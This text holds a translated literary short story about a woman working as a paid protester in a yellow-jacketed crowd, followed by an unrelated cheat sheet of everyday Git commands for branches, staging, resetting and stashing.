“What’s going on?” She jumped up and hit her head against someone’s arm, but still hadn’t looked at the person standing next to her. She looked around for Masha, but she was nowhere to be seen.
“Pick up the pace, come on, let’s go, let’s go, don’t drag your feet,” shouted some guy behind her. Suddenly, he hit her hard on her back. “What are you just standing for? Get a move on!”
“But I haven’t even eaten lunch yet.”
“And whose fault is that? You should have thought of that sooner. And what the hell are you doing in a T-shirt, you fool? Go over to that car and someone will give you a uniform.”
Maria headed over to the Zhigulis. There was no one in the car. She opened the door and spotted a pile of rags in the backseat. She pulled out a couple of pieces, which turned out to be yellow training jackets.
“What is with this sudden madness for yellow,” muttered Maria, pulling out a succession of identical jackets. "Why not green, light blue, or even orange for that matter?"
Behind her, someone laughed gruffly. Maria turned around and saw a big young guy in a yellow tracksuit. Now she, too, began to laugh—the tow-headed boy with his clear skin looked so much like a fledgling chick he seemed just about to flap his arms and open his mouth wide to be fed.
“What’s with you, Grandma,” he said rudely. “Orange is for another country. The color for our revolution is yellow. Haven’t you seen the kids from the youth movement in the streets—they’ve been handing out lemons.”
“I haven’t,” said Maria, shrugging. “I haven't really walked around today.”
She pulled on a jacket, waved to the boy and went back to the square to resume working the square—what they referred to their work as amongst themselves.
There were noticeably fewer people in the square than the day before. “They’re melting away,” thought Maria, with a smirk. But everyone gathered was in yellow, which looked smart, even festive. The warm, cheerful color had a calming effect that seemed quite disconnected from the revolutionary slogans that the crowds had already begun to shout.
Maria suddenly realized that she wasn’t up to speed with the day’s slogans. She listened closely.
“Out with the president! Down with the president!”
Maria tried to recall what they had been shouting the day before. Hell, probably something like “Get out, Prime Minister.” She began to get nervous. Was it possible she was among complete strangers? Maria looked around, examining people’s faces. But she didn’t recognize anyone—the faces in the crowd all looked unfamiliar.
People were gradually beginning to gather on the other side of the square. They were wearing white T-shirts with a red patch on the chest—either an emblem of some sort or someone’s portrait. Maria couldn’t make out for sure. Maybe she had gotten mixed up and they needed her on the other side? She began to listen closely again. From the other side, it sounded like, she could make out calls of “Down with the Prime Minister!” And on the other side, running in front of the disorganized rows of people, there was a bearded guy who looked like the Commandant. That decided it—she was definitely not with the right group, Maria thought miserably. They’ll notice when they don’t give out any money in the evening.
But she was happily surprised when she saw the Commandant with his unkempt beard right next to her. “Ah, there you are, you son-of-a-bitch,” she said to herself. Then she looked again to the other end, where the other similarly bearded man was rushing about, waving his hands and shouting. “What, are they brothers?” thought Maria. “Everyone here looks the same.” She waved her hands. She needed the work, and so she started, softly at first, and then louder and louder, and then, with a thrill, to pour her voice into the disorganized chorus. “Down with the President!” she shouted, adding for her own part: “And all of you can go to hell!”
A brawl broke out as evening approached. They had been tramping around the square for a couple of hours, shouting and waving their hands about, channeling the people’s rage. The crowd on the other half of the square were doing the same. The rage today, though, seemed unconvincing, Maria thought to herself. Probably because no one felt particularly inclined to really set it ablaze—the game masters, as they called them, were noticeably absent.
“Where have all our shouters gone,” Maria heard someone next to her say. “Either they’re moving around here in packs, or they disappear all at once.”
“They’re probably sitting in some café, downing beers and going over their plan of attack,” someone joked in response. “Later they’ll be back here standing up for the people, bloody opportunists.”
Maria listened without interest, not looking at the people talking. She had had to listen to so much of this the last few days on the field that any conversation about revolution or the people’s aspirations felt like torture. She had figured out that the best way to get by under these circumstances was to just not react. But it was still something she’d had to learn. She’d had to learn how to look right through the person standing on the stage, heatedly declaiming his suffering; how to look a person in the face and not hear what he was saying in the name of the people and, of course, in his own name, too. Once I’ve got it down, thought Maria, maybe then I won’t give a crap anymore. Things will be easier then.
Something was happening—Maria could sense this from the journalists who’d appeared between them with their video cameras. They smelled blood. Nothing interesting had happened the last three days on the square and the journalists had all but given up. Maria didn't care, but her coworkers talked excitedly among themselves, speculating that they were in for some entertainment. It was like someone had cast a fly, and the journalists had swallowed it hook, line, and sinker.
They didn't have to wait long. Victorious shouts resounded from next to one of the tents on the edge of the square. A small scuffle ensued. A young man festooned with cameras broke away from the group of people shouting and waving their hands. He held a small video camera high above his head. He made his way haltingly to a car, on whose windshield shone a white placard with the word Press on it.
The excited crowd began to murmur around Maria. A few rushed to explain what had happened in the tent. The rest waited impatiently. Within minutes it became clear that someone from the opposition who had announced a hunger strike a week ago had caved in. A journalist had caught him in the tent at a table piled high with food and had taken his picture with every camera and photographic device he had on him.
“That’s done it. The idiot couldn’t wait till it was dark?” the crowd started to shout heatedly. “Then he could have stuffed his face as much as he liked. Good luck proving he was just sitting at the table and didn’t touch any of the food.”
“That journalist was smart—I wonder how he got wind of it.”
“Ha!—probably ratted out by one of his own. It’s always one of your own.”
“He probably wasn’t even the only one gorging himself, the others just managed to stay out of view,” one of them said, laughing.
Maria looked around and saw a towering man, his eyes crazed and his face contorted in excitement.
This new morsel tided them over for almost an hour. After that their chatter slowly died out. Many were already looking impatiently at their watches. But the Commandant, who usually dismissed everyone and handed out the day’s wages, had disappeared.
The soles of Maria’s feet were burning. She had wanted to sit down for a long time. She quietly slipped away from the crowd and returned to where she’d been sitting in the grass that morning. She didn’t see the young man following behind her, pulling a notebook and a pen out of his pocket.
“Hello. I saw you here a few days ago and just remembered you. Do you mind if I speak to you for a moment?” The young fellow looked at Maria inquiringly.
“You can try,” Maria said, smiling.
“What idea are you protesting for?”
“What? What am I doing?” She opened her eyes wide in surprise and then laughed loudly. “How old are you, kid? Have you been with the press long?”
“Yes, almost two months already. Have I said something funny?”
“No, no, not at all! It’s just that I need to think for a minute. Regarding the idea—” Maria, unable to hold back, started to laugh again. “No, it’s a good question!”
“Well, have you been here long, on this square, doing . . . well, organizing?”
“Eight or nine days, I’m not sure.”
“And who are you, exactly. I mean, what do you do for work?”
“I’m a hydrologist, but I’m not working now.”
“Why not?”
“Because when grown-up kids are in charge of sorting things out, there’s no work for hydrologists.”
Gooot it . . .” said the boy, but by the way he stretched out the word it was clear that he actually had not. “And who are you out for? Well, that is, who do you support?”
“Who am I out for? I once represented the youth division in track and field. But, you know, they really make you work.”
Maria wanted to add that now she was only acting for herself and her son, but the journalist had already pushed on.
“And how many . . .” he started a new question but was unexpectedly and rudely interrupted.
“Now, now, now, what are you ferreting about for here, then, you little bugger? Get the hell out of here you little pencil pusher.”
Maria jumped. She hadn’t noticed Masha standing behind her. The kid pushed his reddened face into his notebook and scratched something out with his pen. Maria got up and casually brushed off the bits of grass that had stuck to her jeans and calmly said:
“What did you do that for? Look at him—he’s just a kid. He’s just doing his job.”
“Oh, really? Well, get lost, kid. Come on, come on, and don’t look back!” Masha watched him angrily. “Well, so what did you blab to him about? Do you really not know that only the group leaders are allowed to talk to the press?”
“Masha, what are you talking about? And what’s with your tone? How is it anybody else’s problem—I can talk to whomever I choose!”
“But that’s just it, you can’t, damn it! Don’t you understand that you’re representing yourself and all of us? Do you really not understand that? Using what you’ve fed him, this kid could write a whole bunch of . . . what exactly did you tell him, you fool?”
“I’m a fool? You do realize I’m twice your age? Don’t try to act—”
Masha didn’t let her finish.
“I don’t need a lesson from you. There are more than enough lecturers here without you. The whole lot make me sick.”
Masha was shaken up. Maria looked at her perplexedly. She put her hand out and rubbed Masha’s shoulder.
“All right, calm down. I didn’t tell him anything like that. Don’t get mad, OK? I just didn’t think you’d take it so seriously.”
Masha didn’t answer. She pushed Maria’s hand off her shoulder and turned away. They stood together quietly for a long time. Maria looked at Masha’s close-shaved head, and wanted to smooth down the few stray hairs that still stuck out.
“You know,” said Maria, “you’re probably right—I am an idiot. I’ve been hearing that all day today. If you repeat something often enough to someone, they eventually end up believing it.”
Maria sat down on the grass again and stretched out her tired legs. She looked over at a tuft of green stems that had pushed through the grass, like Masha’s spiky hair.
The workday was going to end soon. But Maria was in no rush. She was fine sitting here by herself. Masha, still miffed, had left a long time ago, to go lose herself on the square. There were still a lot of people, but now they were all mixed together— yellow tracksuits mingled with white T-shirts, a sure sign that the game masters had run off home; soon they’d let the others go, too.
“Oh, no, not that,” Maria groaned in irritation. The Commandant, who was running past, turned sharply and made his way toward her. “Now he’s going to start shouting at me,” thought Maria. “I’ve had just about enough of this jerk today.”
“What are you doing sitting, bitch?” the beard asked with obvious relish. “Seems like all you’ve done today is sit in the grass.” He suddenly waved his hand, looking off somewhere to the side, and shouted “Hey, you! Yes, you—come here. Right now!”
Maria saw Masha jump out from the crowd and run toward them.
“Now, listen, girls,” said the beard, laying his thick paws on their shoulders. “Do you want to make a little more money? Tomorrow, early morning, we’re forming a women’s brigade. You’ll go from house to house explaining to all the yuppies who they should support. It’ll go better if it’s you and the old ladies. You got it? We’ll give out new uniforms. You'll be going around in jackets. And don't come alone. Bring some newbies—about ten—got it? You’ll get double for that. And you’ll be the ones in charge.”
The Commandant poked Masha with his finger. She pulled away. Maria looked in her eyes and was horrified to see a flicker of pleasure there. He slapped them on the shoulder in his typical way and walked back to the square. Probably to round up more recruits.
“Well, so are you going to join my brigade?” asked Masha, emphasizing the word my. “Did you hear? They’ll pay more. And I’m tired of just hanging about in the square, following someone else’s directions. Now we’ll be the commanders . . .”
“No, I’m not going,” said Maria.
“What, not even with me?”
“Not with anybody. I’d have to learn all those rules again. I’m better off here . . . and this yellow has kind of grown on me.”
“Well, to hell with you, then. There’s more than enough here who’ll want to, even if you don’t.” Masha pursed her lips contemptuously and walked away.
Maria sat back down in the grass. Truth be told, the Commandant was right—she hadn’t shown any enthusiasm for her work today. She remembered the first day on the square; she’d ended up there almost by chance, together with the crowd that had simply pushed there from the bus stop, dragging her in tow. That was the beginning of the extended protest organized by the opposition. People shouted from the stage in the square. It had seemed to Maria that everyone was shouting the same thing, and they were probably all right. She didn’t understand—and didn’t even try to—what they hoped to achieve, arguing over their microphones. She had already given up on similar endeavors. She just needed work, and then everything else would fall into place on its own.
She had looked in the faces of the people standing next to her, and it seemed like they all just wanted the same thing. And then someone had pulled at her sleeve, and she had seen the bearded guy for the first time, the one she’d christened the Commandant. He had smiled ingratiatingly and said something. Maria had nodded in response, and only later understood what she’d agreed to. From the first day, Maria had promised herself that she wouldn’t buy into the rules of the game; that she would only try to abide by them. Even if it was a game for fools.
Yet another working day drew to a close. Maria looked at the square but no longer saw either yellow or white. Now there was simply a live, shifting, varicolored mass, surrounded like a force field by a thick wall of sound. Maria turned around, suddenly scared; it seemed to her that the people in the mass had no faces, like they had been rubbed out by a giant eraser. She tried feverishly to recall familiar faces from the crowd, but only one form obstinately appeared before her—the bearded face of the Commandant with his grotesque smirk. The faceless crowd was terrible, but the bearded face was even worse.
Maria realized that she needed to leave right away. To run. To go home, to get home right away. She jumped up. She took one last look at the square and walked quickly down the path that led to the park.
When she got to the park she couldn’t help herself and stole one last look back. There was almost no one left in the square. A few lone figures in yellow or white wandered about, picking up discarded placards and other trash.
Maria raised her eyes above the square and stood still. Pressed down by clouds the yellow-orange sun stretched out over the roofs of the distant houses.
© Alla Pyatibratova. By arrangement with the author. Translation © 2012 by Rohan Kamicheril. All rights reserved.
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Tips and tricks of GIT
Removing Files you have added files to Git that you want it to track no longer.
Scenario: You added a file to Git accidentally or you may want to remove a file from current push
You cannot run git rm because you want to keep a copy of the file(git rm command will delete the file from file system)
git rm --cached [file_name]
GIT - Ignore changes in a file
--Assume file to be unchanged
GIT - Add all files that are tracked and has change
Scenario: I have modified large set of files and added new files as well and I want to stage only the tracked files. In such situations, I can use this command
git add -u
Using Branches
1. git branch
Usage: List all of the branches in your repository.
2. git branch <new_branch>
Usage: Create a new branch called <new_branch>. This does not check out the new branch.
3. git branch -d <branch>
Usage: Delete the specified branch. This is a “safe” operation since Git prevents you from deleting the branch if it has unmerged changes.
4. git branch -D <branch>
Usage: Force delete the specified branch. Use this command only if you want to permanantly discard all unmerged changes
5. git branch -m <new_branch>
Usage: Rename the current branch to <new_branch>.
6. git clone git@yourrepositry.com:projectidentifier new-folder-name
Usage: Clone git repository to a folder with different name.
7. git reset --hard
Usage: Resets your index and reverts the tracked files back to state as they are in HEAD.
8. git clean -f -d
Usage: Cleans untracked files.
9. git clean -f -d -x
Usage: Remove your .gitignored files and get back to a pristine state
10. git log branch_name..origin/branch_name
Usage: Find difference between my local branch and remote branch
GIT - Stash
11. git stash
Usage: Stash files for future reference
12. git stash show
Usage: List stashed files
13. git stash show -p
Usage: Show changes in stashed files
14. git stash save -p "message"
Usage: Lets you choose changes to be stashed, you can stash part of changes in a file as well |
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